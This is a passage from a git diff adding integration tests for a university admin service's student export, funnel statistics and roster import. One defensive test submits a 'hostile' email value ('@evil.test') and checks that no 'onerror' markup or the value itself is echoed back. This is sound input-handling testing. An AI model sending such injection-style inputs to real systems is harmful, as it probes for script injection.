secret).not.toContain(secret); + } + }); + + it('applies the same filters as the list endpoint', async () => { + const rows = records((await exportCsv(`?bom=false&search=active-${tag}`)).body); + expect(rows).toHaveLength(2); + const offers = records((await exportCsv('?bom=false&application_status=offer')).body); + expect(offers.slice(1).map((row) => row[0])).toEqual([`active-${tag}@example.test`]); + expect((await exportCsv('?application_status=bogus')).statusCode).toBe(400); + expect((await exportCsv('?bom=perhaps')).statusCode).toBe(400); + }); + + describe('audit trail', () => { + it('writes one entry per export with the exact row count and no personal data', async () => { + const org = await h.seedOrganization('university'); + const admin = await h.seedUser(); + await h.addMember(org, admin.userId, 'admin'); + const user = await h.seedUser({ + email: `audited-${tag}@example.test`, + fullName: 'Audited Person', + }); + await h.addStudent(org, user.userId); + const adminHeaders = await h.authHeaders(admin.userId); + + expect(await exportAudits(org)).toHaveLength(0); + const res = await exportCsv('?search=audited-secret-term', org, adminHeaders); + expect(res.statusCode).toBe(200); + const filtered = await exportCsv('?bom=false', org, adminHeaders); + expect(records(filtered.body)).toHaveLength(2); + + const audits = await exportAudits(org); + expect(audits).toHaveLength(2); + const [searched, plain] = audits + .sort( + (a, b) => + (a.metadata.filters as string[]).length - (b.metadata.filters as string[]).length, + ) + .reverse(); + expect(plain).toMatchObject({ + organizationId: org, + actorUserId: admin.userId, + resourceType: 'student_roster', + resourceId: org, + metadata: { format: 'csv', row_count: 1, filters: [] }, + }); + expect(searched?.metadata).toEqual({ format: 'csv', row_count: 0, filters: ['search'] }); + const serialized = JSON.stringify(audits); + for (const personal of [user.email, 'Audited Person', 'audited-secret-term', '@']) { + expect(serialized, personal).not.toContain(personal); + } + }); + + it('does not write an entry for a refused request', async () => { + const org = await h.seedOrganization('university'); + const member = await h.seedUser(); + await h.addMember(org, member.userId, 'member'); + const res = await exportCsv('', org, await h.authHeaders(member.userId)); + expect(res.statusCode).toBe(403); + expect(await exportAudits(org)).toHaveLength(0); + }); + }); + + describe('row cap', () => { + it('refuses an export over the cap (413) without auditing or sending data, and allows exactly the cap', async () => { + const capped = await createHarness({ limits: { exportMaxRows: 3 } }); + try { + const org = await capped.seedOrganization('university'); + const owner = await capped.seedUser(); + await capped.addMember(org, owner.userId, 'owner'); + const ownerHeaders = await capped.authHeaders(owner.userId); + for (let index = 0; index < 3; index += 1) { + const user = await capped.seedUser(); + await capped.addStudent(org, user.userId); + } + + const atCap = await capped.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${org}/export.csv`, + headers: ownerHeaders, + }); + expect(atCap.statusCode).toBe(200); + + const extra = await capped.seedUser(); + await capped.addStudent(org, extra.userId); + const over = await capped.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${org}/export.csv`, + headers: ownerHeaders, + }); + expect(over.statusCode).toBe(413); + expect(over.json().error).toMatchObject({ + code: 'PAYLOAD_TOO_LARGE', + details: { max_rows: 3 }, + }); + expect(over.body).not.toContain('@'); + + const audits = await capped.handle.db + .select() + .from(schema.auditLogs) + .where( + and( + eq(schema.auditLogs.organizationId, org), + eq(schema.auditLogs.action, 'admin.students.export'), + ), + ); + expect(audits).toHaveLength(1); // only the successful one + } finally { + await capped.close(); + } + }); + + it('pages through more rows than one database page holds', async () => { + // 1,000 is the internal page size; a roster of 1,010 needs two pages and must come back whole and unduplicated. + const org = await h.seedOrganization('university'); + const owner = await h.seedUser(); + await h.addMember(org, owner.userId, 'owner'); + await h.handle.sql` + insert into auth.users (id, instance_id, aud, role, email, email_confirmed_at, raw_app_meta_data, raw_user_meta_data, created_at, updated_at) + select gen_random_uuid(), '00000000-0000-0000-0000-000000000000', 'authenticated', 'authenticated', + 'bulk-' || n || '-' || ${tag} || '@example.test', now(), '{"provider":"email"}'::jsonb, '{}'::jsonb, now(), now() + from generate_series(1, 1010) as n + `; + const bulk = await h.handle.sql<{ user_id: string }[]>` + select user_id from public.users where email like ${`bulk-%-${tag}@example.test`} + `; + await h.handle.sql` + insert into students (organization_id, user_id, created_at) + select ${org}, user_id, now() - (row_number() over ())::int * interval '1 millisecond' + from public.users where email like ${`bulk-%-${tag}@example.test`} + `; + try { + const res = await exportCsv('?bom=false', org, await h.authHeaders(owner.userId)); + expect(res.statusCode).toBe(200); + const rows = records(res.body).slice(1); + expect(rows).toHaveLength(1010); + expect(new Set(rows.map((row) => row[0])).size).toBe(1010); + } finally { + await h.handle + .sql`delete from auth.users where id in ${h.handle.sql(bulk.map((row) => row.user_id))}`; + await h.handle.db.delete(schema.auditLogs).where(eq(schema.auditLogs.organizationId, org)); + } + }); + }); +}); diff --git a/services/admin/test/funnel.test.ts b/services/admin/test/funnel.test.ts new file mode 100644 index 0000000..e10201d --- /dev/null +++ b/services/admin/test/funnel.test.ts @@ -0,0 +1,318 @@ +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { + APPLICATION_STATUSES, + adminFunnelResponseSchema, + type AdminFunnelResponse, +} from '@atlas/types'; +import { + ADMIN_BASE, + createCountingDatabase, + createHarness, + testDatabaseUrl, + type CountingDatabase, + type Harness, +} from './support.js'; + +// A small, fully specified dataset so every number below can be checked by hand. +// +// student member resumes (created) applications in this org (created) +// s1 yes ats 80 parsed (03-05) submitted (03-06), offer (03-10 00:00:00Z exactly) +// s2 yes ats 30 (01-05), ats 60 (02-05) rejected (01-20), interviewing (02-20) +// s3 yes failed, no score (02-01) draft (02-02) +// s4 yes - - +// s5 NO ats 90 parsed submitted, offer <- not sharing: never counted +// s6 yes ats 50 parsed (03-15) queued in ANOTHER org, submitted with NO org <- not this org's +// s7 yes - - (account soft-deleted: roster size only) +describe.skipIf(!testDatabaseUrl)('admin-service funnel', () => { + let h: Harness; + let orgId: string; + let emptyOrgId: string; + let headers: Record; + let emptyHeaders: Record; + + const funnel = async (query = '', org = orgId, hdrs = headers): Promise => { + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${org}/funnel${query}`, + headers: hdrs, + }); + expect(res.statusCode, res.body).toBe(200); + return adminFunnelResponseSchema.parse(res.json()); + }; + + const zeroByStatus = Object.fromEntries(APPLICATION_STATUSES.map((status) => [status, 0])); + + beforeAll(async () => { + h = await createHarness(); + orgId = await h.seedOrganization('university'); + emptyOrgId = await h.seedOrganization('university'); + const otherOrgId = await h.seedOrganization('university'); + + const owner = await h.seedUser(); + await h.addMember(orgId, owner.userId, 'owner'); + headers = await h.authHeaders(owner.userId); + const emptyOwner = await h.seedUser(); + await h.addMember(emptyOrgId, emptyOwner.userId, 'owner'); + emptyHeaders = await h.authHeaders(emptyOwner.userId); + + const student = async (options: { member?: boolean; deleted?: boolean } = {}) => { + const user = await h.seedUser(options.deleted ? { deleted: true } : {}); + if (options.member !== false) await h.addMember(orgId, user.userId, 'student'); + await h.addStudent(orgId, user.userId); + return user.userId; + }; + + const s1 = await student(); + await h.seedResume(s1, { atsScore: 80, createdAt: '2026-03-05T00:00:00Z' }); + await h.seedApplication(s1, { + status: 'submitted', + organizationId: orgId, + createdAt: '2026-03-06T00:00:00Z', + }); + await h.seedApplication(s1, { + status: 'offer', + organizationId: orgId, + createdAt: '2026-03-10T00:00:00Z', + }); + + const s2 = await student(); + await h.seedResume(s2, { atsScore: 30, createdAt: '2026-01-05T00:00:00Z' }); + await h.seedResume(s2, { atsScore: 60, createdAt: '2026-02-05T00:00:00Z' }); + await h.seedApplication(s2, { + status: 'rejected', + organizationId: orgId, + createdAt: '2026-01-20T00:00:00Z', + }); + await h.seedApplication(s2, { + status: 'interviewing', + organizationId: orgId, + createdAt: '2026-02-20T00:00:00Z', + }); + + const s3 = await student(); + await h.seedResume(s3, { atsScore: null, status: 'failed', createdAt: '2026-02-01T00:00:00Z' }); + await h.seedApplication(s3, { + status: 'draft', + organizationId: orgId, + createdAt: '2026-02-02T00:00:00Z', + }); + + await student(); // s4 + + const s5 = await student({ member: false }); + await h.seedResume(s5, { atsScore: 90, createdAt: '2026-03-07T00:00:00Z' }); + await h.seedApplication(s5, { + status: 'submitted', + organizationId: orgId, + createdAt: '2026-03-07T00:00:00Z', + }); + await h.seedApplication(s5, { + status: 'offer', + organizationId: orgId, + createdAt: '2026-03-08T00:00:00Z', + }); + + const s6 = await student(); + await h.seedResume(s6, { atsScore: 50, createdAt: '2026-03-15T00:00:00Z' }); + await h.seedApplication(s6, { + status: 'queued', + organizationId: otherOrgId, + createdAt: '2026-03-16T00:00:00Z', + }); + await h.seedApplication(s6, { + status: 'submitted', + organizationId: null, + createdAt: '2026-03-17T00:00:00Z', + }); + + await student({ deleted: true }); // s7 + }); + + afterAll(async () => { + await h.close(); + }); + + it('counts the roster, sign-ups and sharing students', async () => { + const body = await funnel(); + expect(body.organization_id).toBe(orgId); + expect(body.roster).toEqual({ size: 7, signed_up: 6, sharing_enabled: 5 }); + expect(body.range).toEqual({ from: null, to: null }); + }); + + it('counts resumes and averages each student’s latest scored resume', async () => { + const body = await funnel(); + // s1, s2, s3 (failed upload) and s6 uploaded; s5 is not sharing. + expect(body.resumes.students_with_resume).toBe(4); + // Latest scored: s1 80, s2 60 (not the older 30), s6 50. s3's failed resume has no score. + expect(body.resumes.students_with_ats_score).toBe(3); + expect(body.resumes.avg_ats_score).toBe(63.3); + }); + + it('counts applications by every status, only for sharing students and only in this organization', async () => { + const body = await funnel(); + expect(body.applications.total).toBe(5); + expect(body.applications.students_applied).toBe(3); + expect(body.applications.by_status).toEqual({ + ...zeroByStatus, + submitted: 1, + offer: 1, + rejected: 1, + interviewing: 1, + draft: 1, + }); + expect(Object.keys(body.applications.by_status)).toEqual([...APPLICATION_STATUSES]); + expect(body.offers).toEqual({ applications: 1, students: 1 }); + }); + + it('scopes activity to a date range: from inclusive, to exclusive, offsets honored', async () => { + const march = await funnel( + `?from=${encodeURIComponent('2026-03-01T00:00:00Z')}&to=${encodeURIComponent('2026-04-01T00:00:00Z')}`, + ); + expect(march.range).toEqual({ + from: '2026-03-01T00:00:00.000Z', + to: '2026-04-01T00:00:00.000Z', + }); + expect(march.resumes).toEqual({ + students_with_resume: 2, + students_with_ats_score: 2, + avg_ats_score: 65, + }); + expect(march.applications.total).toBe(2); + expect(march.applications.students_applied).toBe(1); + expect(march.offers).toEqual({ applications: 1, students: 1 }); + // The roster is a snapshot, not activity. + expect(march.roster).toEqual({ size: 7, signed_up: 6, sharing_enabled: 5 }); + + const february = await funnel( + `?from=${encodeURIComponent('2026-02-01T00:00:00Z')}&to=${encodeURIComponent('2026-03-01T00:00:00Z')}`, + ); + expect(february.resumes).toEqual({ + students_with_resume: 2, + students_with_ats_score: 1, + avg_ats_score: 60, + }); + expect(february.applications.by_status).toEqual({ ...zeroByStatus, interviewing: 1, draft: 1 }); + expect(february.offers).toEqual({ applications: 0, students: 0 }); + + // `to` is exclusive: the offer created at exactly 03-10T00:00:00Z is outside [03-01, 03-10). + const beforeOffer = await funnel( + `?from=${encodeURIComponent('2026-03-01T00:00:00Z')}&to=${encodeURIComponent('2026-03-10T00:00:00Z')}`, + ); + expect(beforeOffer.offers.applications).toBe(0); + expect(beforeOffer.applications.total).toBe(1); + // …and `from` is inclusive, including when written with a UTC offset. + const atOffer = await funnel( + `?from=${encodeURIComponent('2026-03-10T02:00:00+02:00')}&to=${encodeURIComponent('2026-03-11T00:00:00Z')}`, + ); + expect(atOffer.offers.applications).toBe(1); + + const openEnded = await funnel(`?from=${encodeURIComponent('2026-03-10T00:00:00Z')}`); + expect(openEnded.applications.total).toBe(1); + const untilFeb = await funnel(`?to=${encodeURIComponent('2026-02-01T00:00:00Z')}`); + expect(untilFeb.applications.by_status).toEqual({ ...zeroByStatus, rejected: 1 }); + }); + + it('rejects a bad range with 400', async () => { + for (const query of [ + `?from=${encodeURIComponent('2026-04-01T00:00:00Z')}&to=${encodeURIComponent('2026-03-01T00:00:00Z')}`, + `?from=${encodeURIComponent('2026-03-01T00:00:00Z')}&to=${encodeURIComponent('2026-03-01T00:00:00Z')}`, + '?from=yesterday', + '?to=2026-13-45', + '?from=2026-03-01', + ]) { + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${orgId}/funnel${query}`, + headers, + }); + expect(res.statusCode, query).toBe(400); + expect(res.json().error.code).toBe('VALIDATION_ERROR'); + } + }); + + it('reports zeros, not errors, for an organization with no roster', async () => { + const body = await funnel('', emptyOrgId, emptyHeaders); + expect(body).toMatchObject({ + roster: { size: 0, signed_up: 0, sharing_enabled: 0 }, + resumes: { students_with_resume: 0, students_with_ats_score: 0, avg_ats_score: null }, + applications: { total: 0, students_applied: 0, by_status: zeroByStatus }, + offers: { applications: 0, students: 0 }, + }); + }); + + it('exposes aggregates only', async () => { + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${orgId}/funnel`, + headers, + }); + for (const secret of ['CONFIDENTIAL', 'email', '@', 'user_id', 'student_id', 'full_name']) { + expect(res.body, secret).not.toContain(secret); + } + }); + + describe('query count', () => { + let counting: CountingDatabase; + let countedHarness: Harness; + let countedOrgId: string; + let countedHeaders: Record; + + beforeAll(async () => { + counting = createCountingDatabase(); + countedHarness = await createHarness({ db: counting.db, sql: counting.sql }); + countedOrgId = await countedHarness.seedOrganization('university'); + const owner = await countedHarness.seedUser(); + await countedHarness.addMember(countedOrgId, owner.userId, 'owner'); + countedHeaders = await countedHarness.authHeaders(owner.userId); + }); + + afterAll(async () => { + await countedHarness.close(); + await counting.close(); + }); + + async function addSharingStudents(count: number) { + for (let index = 0; index < count; index += 1) { + const user = await countedHarness.seedUser(); + await countedHarness.addMember(countedOrgId, user.userId, 'student'); + await countedHarness.addStudent(countedOrgId, user.userId); + await countedHarness.seedResume(user.userId, { atsScore: 70 }); + await countedHarness.seedApplication(user.userId, { + status: 'submitted', + organizationId: countedOrgId, + }); + } + } + + async function statementsFor(url: string): Promise { + counting.reset(); + const res = await countedHarness.app.inject({ method: 'GET', url, headers: countedHeaders }); + expect(res.statusCode, res.body).toBe(200); + return counting.count(); + } + + it('runs the same number of statements for 3 students as for 33', async () => { + await addSharingStudents(3); + // Warm the pool first: each new connection runs its own driver bootstrap queries, which are not the app's. + await statementsFor(`${ADMIN_BASE}/${countedOrgId}/funnel`); + await statementsFor(`${ADMIN_BASE}/${countedOrgId}/students?limit=100`); + await statementsFor(`${ADMIN_BASE}/${countedOrgId}/export.csv`); + + const funnelSmall = await statementsFor(`${ADMIN_BASE}/${countedOrgId}/funnel`); + const listSmall = await statementsFor(`${ADMIN_BASE}/${countedOrgId}/students?limit=100`); + const exportSmall = await statementsFor(`${ADMIN_BASE}/${countedOrgId}/export.csv`); + + await addSharingStudents(30); + const funnelLarge = await statementsFor(`${ADMIN_BASE}/${countedOrgId}/funnel`); + const listLarge = await statementsFor(`${ADMIN_BASE}/${countedOrgId}/students?limit=100`); + const exportLarge = await statementsFor(`${ADMIN_BASE}/${countedOrgId}/export.csv`); + + expect(funnelLarge).toBe(funnelSmall); + expect(listLarge).toBe(listSmall); + expect(exportLarge).toBe(exportSmall); + // A handful of grouped statements, not one per student. + expect(funnelSmall).toBeLessThanOrEqual(8); + expect(listSmall).toBeLessThanOrEqual(8); + }); + }); +}); diff --git a/services/admin/test/import.test.ts b/services/admin/test/import.test.ts new file mode 100644 index 0000000..303328f --- /dev/null +++ b/services/admin/test/import.test.ts @@ -0,0 +1,618 @@ +import { randomUUID } from 'node:crypto'; +import { and, eq } from 'drizzle-orm'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { schema } from '@atlas/db'; +import { + ADMIN_MAX_IMPORT_ROWS, + importStudentsResponseSchema, + type ImportStudentsResponse, +} from '@atlas/types'; +import { + ADMIN_BASE, + createHarness, + importCsv, + importJson, + testDatabaseUrl, + type Harness, +} from './support.js'; + +describe.skipIf(!testDatabaseUrl)('admin-service student import', () => { + let h: Harness; + let orgId: string; + let adminHeaders: Record; + let adminId: string; + + const rosterOf = async (organizationId: string) => + h.handle.db + .select() + .from(schema.students) + .where(eq(schema.students.organizationId, organizationId)); + + const importAudits = async (organizationId: string) => + h.handle.db + .select() + .from(schema.auditLogs) + .where( + and( + eq(schema.auditLogs.organizationId, organizationId), + eq(schema.auditLogs.action, 'admin.students.import'), + ), + ); + + /** A fresh university with its own admin, so assertions on counts and audits are isolated. */ + async function freshOrg() { + const organizationId = await h.seedOrganization('university'); + const admin = await h.seedUser(); + await h.addMember(organizationId, admin.userId, 'admin'); + return { organizationId, adminId: admin.userId, headers: await h.authHeaders(admin.userId) }; + } + + const report = (res: { statusCode: number; json: () => unknown }): ImportStudentsResponse => { + expect(res.statusCode).toBe(200); + return importStudentsResponseSchema.parse(res.json()); + }; + + const accounted = (r: ImportStudentsResponse) => + r.created + r.updated + r.skipped + r.errors.length; + + beforeAll(async () => { + h = await createHarness(); + orgId = await h.seedOrganization('university'); + const admin = await h.seedUser(); + adminId = admin.userId; + await h.addMember(orgId, adminId, 'admin'); + adminHeaders = await h.authHeaders(adminId); + }); + + afterAll(async () => { + await h.close(); + }); + + it('creates roster entries for existing accounts, matched case-insensitively, and records the program and year', async () => { + const org = await freshOrg(); + const ada = await h.seedUser({ + email: `Ada.Mixed-${randomUUID()}@Example.Test`, + fullName: 'Ada Platform', + }); + const grace = await h.seedUser(); + + const res = await importJson(h, org.organizationId, org.headers, [ + { + email: ada.email.toUpperCase(), + full_name: 'Ada From The File', + program: 'Mathematics', + graduation_year: 2027, + student_id: 'S-100', + }, + { email: ` ${grace.email} `, full_name: 'Grace', graduation_year: '2026' }, + ]); + + const body = report(res); + expect(body).toMatchObject({ + total_rows: 2, + created: 2, + updated: 0, + skipped: 0, + errors: [], + ignored_fields: ['full_name', 'student_id'], + }); + expect(accounted(body)).toBe(body.total_rows); + + const roster = await rosterOf(org.organizationId); + expect(roster).toHaveLength(2); + const adaRow = roster.find((row) => row.userId === ada.userId); + expect(adaRow).toMatchObject({ + department: 'Mathematics', + graduationYear: 2027, + currentStatus: 'active', + }); + expect(roster.find((row) => row.userId === grace.userId)).toMatchObject({ + department: null, + graduationYear: 2026, + }); + + // The platform account is left alone: no rename, and no membership is granted by an import. + const [account] = await h.handle.db + .select() + .from(schema.users) + .where(eq(schema.users.userId, ada.userId)); + expect(account?.fullName).toBe('Ada Platform'); + const members = await h.handle.db + .select() + .from(schema.organizationMembers) + .where(eq(schema.organizationMembers.organizationId, org.organizationId)); + expect(members.map((member) => member.userId)).toEqual([org.adminId]); + }); + + it('imports a CSV body (BOM, CRLF, quoted fields, reordered header)', async () => { + const org = await freshOrg(); + const one = await h.seedUser(); + const two = await h.seedUser(); + const csv = + 'Full Name,Email,Program,graduation_year\r\n' + + `"Lovelace, Ada ""Countess""",${one.email},"Computer Science, BSc",2028\r\n` + + `Grace Hopper,${two.email},,\r\n`; + + const body = report(await importCsv(h, org.organizationId, org.headers, csv)); + + expect(body).toMatchObject({ total_rows: 2, created: 2, errors: [] }); + const roster = await rosterOf(org.organizationId); + expect(roster.find((row) => row.userId === one.userId)).toMatchObject({ + department: 'Computer Science, BSc', + graduationYear: 2028, + }); + }); + + it('accounts for every row exactly once across created, updated, skipped and errors', async () => { + const org = await freshOrg(); + const real = await h.seedUser(); + const second = await h.seedUser(); + const deleted = await h.seedUser({ deleted: true }); + const rows = [ + { email: real.email, full_name: 'Real' }, // 1 created + { email: real.email.toUpperCase(), full_name: 'Real Again', program: 'Ignored dup' }, // 2 duplicate + { email: 'not-an-email', full_name: 'Bad' }, // 3 error + { email: `nobody-${randomUUID()}@example.test`, full_name: 'Ghost' }, // 4 no account + { email: second.email, full_name: 'Second', graduation_year: 1800 }, // 5 error + { email: deleted.email, full_name: 'Deleted' }, // 6 no account (soft-deleted) + { email: second.email, full_name: 'Second', graduation_year: 2026 }, // 7 created + { full_name: 'No Email' }, // 8 error + { email: 'x@example.test', full_name: 'X', password: 'hunter2' }, // 9 error + ]; + + const body = report(await importJson(h, org.organizationId, org.headers, rows)); + + expect(body).toMatchObject({ + total_rows: 9, + created: 2, + updated: 0, + skipped: 3, + skipped_breakdown: { unchanged: 0, duplicate_in_file: 1, no_platform_account: 2 }, + }); + expect(body.errors).toEqual([ + { row: 3, reason: 'INVALID_EMAIL' }, + { row: 5, reason: 'INVALID_GRADUATION_YEAR' }, + { row: 8, reason: 'MISSING_EMAIL' }, + { row: 9, reason: 'UNKNOWN_FIELD' }, + ]); + expect(accounted(body)).toBe(9); + // First occurrence wins: the duplicate's program was not applied. + const roster = await rosterOf(org.organizationId); + expect(roster.find((row) => row.userId === real.userId)?.department).toBeNull(); + expect(roster).toHaveLength(2); + }); + + it('never echoes submitted values back in row errors', async () => { + const org = await freshOrg(); + const hostile = '@evil.test'; + const res = await importJson(h, org.organizationId, org.headers, [ + { email: hostile, full_name: 'Mallory' }, + { email: 'ok@example.test', full_name: 'Line\nBreak' }, + ]); + const body = report(res); + expect(body.errors).toHaveLength(2); + expect(res.body).not.toContain('onerror'); + expect(res.body).not.toContain('evil.test'); + expect(res.body).not.toContain('ok@example.test'); + }); + + it('rejects structurally broken CSV with 400 and writes nothing', async () => { + const org = await freshOrg(); + const user = await h.seedUser(); + const cases = [ + 'email,full_name,secret\na@uni.test,A,x\n', // unknown column + 'email\na@uni.test\n', // missing required column + 'email,full_name\n', // no rows + `email,full_name\n"${user.email},Unterminated\n`, // bad quoting + '', + ]; + for (const csv of cases) { + const res = await importCsv(h, org.organizationId, org.headers, csv); + expect(res.statusCode, csv).toBe(400); + expect(res.json().error.code).toBe('VALIDATION_ERROR'); + } + expect(await rosterOf(org.organizationId)).toHaveLength(0); + expect(await importAudits(org.organizationId)).toHaveLength(0); + }); + + it('rejects a JSON body with the wrong shape (400) and an unsupported content type (415)', async () => { + const org = await freshOrg(); + for (const payload of [ + {}, + { rows: 'x' }, + { rows: [] }, + { rows: [{ email: 'a@b.test', full_name: 'A' }], extra: true }, + ]) { + const res = await importJson(h, org.organizationId, org.headers, payload); + expect(res.statusCode, JSON.stringify(payload)).toBe(400); + } + + const text = await h.app.inject({ + method: 'POST', + url: `${ADMIN_BASE}/${org.organizationId}/students/import`, + headers: { ...org.headers, 'content-type': 'text/plain', 'idempotency-key': randomUUID() }, + payload: 'email,full_name', + }); + expect(text.statusCode).toBe(415); + expect(text.json().error.code).toBe('UNSUPPORTED_MEDIA_TYPE'); + + const noType = await h.app.inject({ + method: 'POST', + url: `${ADMIN_BASE}/${org.organizationId}/students/import`, + headers: { ...org.headers, 'idempotency-key': randomUUID() }, + }); + expect(noType.statusCode).toBe(415); + + const empty = await h.app.inject({ + method: 'POST', + url: `${ADMIN_BASE}/${org.organizationId}/students/import`, + headers: { + ...org.headers, + 'content-type': 'application/json', + 'idempotency-key': randomUUID(), + }, + payload: '', + }); + expect(empty.statusCode).toBe(400); + }); + + describe('row limit', () => { + const ghostRows = (count: number) => + Array.from({ length: count }, (_, index) => ({ + email: `ghost-${index}@example.test`, + full_name: `Ghost ${index}`, + })); + + it(`accepts exactly ${ADMIN_MAX_IMPORT_ROWS} rows in one request`, async () => { + const org = await freshOrg(); + const res = await importJson( + h, + org.organizationId, + org.headers, + ghostRows(ADMIN_MAX_IMPORT_ROWS), + ); + const body = report(res); + expect(body).toMatchObject({ + total_rows: ADMIN_MAX_IMPORT_ROWS, + skipped: ADMIN_MAX_IMPORT_ROWS, + }); + expect(accounted(body)).toBe(ADMIN_MAX_IMPORT_ROWS); + }); + + it(`rejects ${ADMIN_MAX_IMPORT_ROWS + 1} JSON rows with 413 and does nothing`, async () => { + const org = await freshOrg(); + const res = await importJson( + h, + org.organizationId, + org.headers, + ghostRows(ADMIN_MAX_IMPORT_ROWS + 1), + ); + expect(res.statusCode).toBe(413); + expect(res.json().error.code).toBe('PAYLOAD_TOO_LARGE'); + expect(await importAudits(org.organizationId)).toHaveLength(0); + }); + + it(`rejects ${ADMIN_MAX_IMPORT_ROWS + 1} CSV rows with 413`, async () => { + const org = await freshOrg(); + const csv = `email,full_name\n${ghostRows(ADMIN_MAX_IMPORT_ROWS + 1) + .map((row) => `${row.email},${row.full_name}`) + .join('\n')}\n`; + const res = await importCsv(h, org.organizationId, org.headers, csv); + expect(res.statusCode).toBe(413); + expect(await importAudits(org.organizationId)).toHaveLength(0); + }); + + it('rejects a body over the byte limit with 413', async () => { + const org = await freshOrg(); + const res = await importCsv( + h, + org.organizationId, + org.headers, + `email,full_name\n${'x'.repeat(5 * 1024 * 1024)}`, + ); + expect(res.statusCode).toBe(413); + expect(res.json().error.code).toBe('PAYLOAD_TOO_LARGE'); + }); + }); + + describe('idempotency', () => { + it('requires an Idempotency-Key header (400 IDEMPOTENCY_KEY_REQUIRED)', async () => { + const org = await freshOrg(); + const res = await h.app.inject({ + method: 'POST', + url: `${ADMIN_BASE}/${org.organizationId}/students/import`, + headers: { ...org.headers, 'content-type': 'application/json' }, + payload: JSON.stringify({ rows: [{ email: 'a@b.test', full_name: 'A' }] }), + }); + expect(res.statusCode).toBe(400); + expect(res.json().error.code).toBe('IDEMPOTENCY_KEY_REQUIRED'); + + const short = await importJson( + h, + org.organizationId, + org.headers, + [{ email: 'a@b.test', full_name: 'A' }], + 'short', + ); + expect(short.statusCode).toBe(400); + }); + + it('replays the stored result for the same key and body, without re-running or re-auditing', async () => { + const org = await freshOrg(); + const student = await h.seedUser(); + const rows = [{ email: student.email, full_name: 'S', program: 'Physics' }]; + const key = `replay-${randomUUID()}`; + + const first = await importJson(h, org.organizationId, org.headers, rows, key); + expect(report(first).created).toBe(1); + expect(first.headers['idempotent-replayed']).toBeUndefined(); + + // Change the data underneath: a genuine re-run would report "unchanged", the replay must not. + await h.handle.db + .delete(schema.students) + .where(eq(schema.students.organizationId, org.organizationId)); + + const second = await importJson(h, org.organizationId, org.headers, rows, key); + expect(second.statusCode).toBe(200); + expect(second.headers['idempotent-replayed']).toBe('true'); + expect(second.json()).toEqual(first.json()); + // Replayed, not re-executed: the deleted row stays deleted and there is one audit entry. + expect(await rosterOf(org.organizationId)).toHaveLength(0); + expect(await importAudits(org.organizationId)).toHaveLength(1); + }); + + it('rejects the same key with a different body (409 IDEMPOTENCY_KEY_REUSED)', async () => { + const org = await freshOrg(); + const key = `reuse-${randomUUID()}`; + const first = await importJson( + h, + org.organizationId, + org.headers, + [{ email: 'a@b.test', full_name: 'A' }], + key, + ); + expect(first.statusCode).toBe(200); + + const second = await importJson( + h, + org.organizationId, + org.headers, + [{ email: 'c@d.test', full_name: 'C' }], + key, + ); + expect(second.statusCode).toBe(409); + expect(second.json().error.code).toBe('IDEMPOTENCY_KEY_REUSED'); + expect(await importAudits(org.organizationId)).toHaveLength(1); + }); + + it('treats a CSV and a JSON body with the same rows as the same request', async () => { + const org = await freshOrg(); + const key = `format-${randomUUID()}`; + const rows = [{ email: 'a@b.test', full_name: 'A' }]; + const json = await importJson(h, org.organizationId, org.headers, rows, key); + const csv = await importCsv( + h, + org.organizationId, + org.headers, + 'email,full_name\na@b.test,A\n', + key, + ); + expect(csv.statusCode).toBe(200); + expect(csv.headers['idempotent-replayed']).toBe('true'); + expect(csv.json()).toEqual(json.json()); + }); + + it('scopes keys to the caller and the organization', async () => { + const first = await freshOrg(); + const second = await freshOrg(); + const key = `shared-${randomUUID()}`; + const rows = [{ email: 'a@b.test', full_name: 'A' }]; + + const a = await importJson(h, first.organizationId, first.headers, rows, key); + const b = await importJson( + h, + second.organizationId, + second.headers, + [{ email: 'z@y.test', full_name: 'Z' }], + key, + ); + expect(a.statusCode).toBe(200); + expect(b.statusCode).toBe(200); + expect(b.headers['idempotent-replayed']).toBeUndefined(); + + // Another admin of the same org does not collide with, or read, the first admin's key. + const colleague = await h.seedUser(); + await h.addMember(first.organizationId, colleague.userId, 'owner'); + const c = await importJson( + h, + first.organizationId, + await h.authHeaders(colleague.userId), + [{ email: 'q@r.test', full_name: 'Q' }], + key, + ); + expect(c.statusCode).toBe(200); + expect(c.headers['idempotent-replayed']).toBeUndefined(); + }); + + it('runs two concurrent requests with one key once', async () => { + const org = await freshOrg(); + const users = await Promise.all(Array.from({ length: 5 }, () => h.seedUser())); + const rows = users.map((user) => ({ email: user.email, full_name: 'Concurrent' })); + const key = `race-${randomUUID()}`; + + const [a, b] = await Promise.all([ + importJson(h, org.organizationId, org.headers, rows, key), + importJson(h, org.organizationId, org.headers, rows, key), + ]); + + expect([a.statusCode, b.statusCode]).toEqual([200, 200]); + expect(a.json()).toEqual(b.json()); + expect([a, b].filter((res) => res.headers['idempotent-replayed'] === 'true')).toHaveLength(1); + expect(report(a).created).toBe(5); + expect(await rosterOf(org.organizationId)).toHaveLength(5); + expect(await importAudits(org.organizationId)).toHaveLength(1); + }); + + it('does not keep the key when the import fails, so the client can retry', async () => { + const org = await freshOrg(); + const key = `retry-${randomUUID()}`; + const bad = await importCsv(h, org.organizationId, org.headers, 'email,wrong\n', key); + expect(bad.statusCode).toBe(400); + const stored = await h.handle.sql`select 1 from idempotency_keys where key = ${key}`; + expect(stored).toHaveLength(0); + }); + }); + + describe('re-importing', () => { + it('is idempotent across keys: the second run changes nothing and reports unchanged', async () => { + const org = await freshOrg(); + const users = await Promise.all([h.seedUser(), h.seedUser(), h.seedUser()]); + const rows = users.map((user, index) => ({ + email: user.email, + full_name: `S${index}`, + program: 'History', + graduation_year: 2026, + })); + + const first = report(await importJson(h, org.organizationId, org.headers, rows)); + const before = await rosterOf(org.organizationId); + const second = report(await importJson(h, org.organizationId, org.headers, rows)); + const after = await rosterOf(org.organizationId); + + expect(first.created).toBe(3); + expect(second).toMatchObject({ + created: 0, + updated: 0, + skipped: 3, + skipped_breakdown: { unchanged: 3, duplicate_in_file: 0, no_platform_account: 0 }, + }); + expect(after).toEqual(before); + }); + + it('updates changed values, keeps stored values when a cell is blank, and never duplicates', async () => { + const org = await freshOrg(); + const [a, b, c] = await Promise.all([h.seedUser(), h.seedUser(), 